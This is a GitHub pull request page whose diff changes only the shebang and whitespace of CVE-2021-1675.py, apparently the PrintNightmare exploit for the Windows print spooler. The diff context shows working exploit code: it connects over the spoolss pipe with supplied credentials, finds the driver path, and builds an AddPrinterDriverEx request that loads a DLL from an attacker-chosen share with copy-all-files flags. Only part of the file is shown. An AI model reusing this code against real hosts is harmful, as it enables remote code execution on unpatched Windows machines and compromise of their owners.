Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Modify shebang so we are friendlier to virtualenvs #44

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 7 additions & 7 deletions CVE-2021-1675.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/python3
#!/usr/bin/env python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
Expand All @@ -20,7 +20,7 @@ class DRIVER_INFO_2_BLOB(Structure):

def __init__(self, data = None):
Structure.__init__(self, data = data)

def fromString(self, data, offset=0):
Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
Expand All @@ -43,14 +43,14 @@ def __init__(self, data = None, pcReturned = None):
def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
rpctransport = transport.DCERPCTransportFactory(binding)

rpctransport.set_dport(port)
rpctransport.setRemoteHost(address)

if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(username, password, domain, lmhash, nthash)

print("[*] Connecting to {0}".format(binding))
try:
dce = rpctransport.get_dce_rpc()
Expand All @@ -70,7 +70,7 @@ def getDriver(dce, handle=NULL):
for i in blobs['drivers']:
if "filerepository" in i['DriverPathArray'].lower():
return i

print("[-] Failed to find driver")
sys.exit(1)

Expand All @@ -86,7 +86,7 @@ def main(dce, pDriverPath, share, handle=NULL):
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"

flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]

Expand Down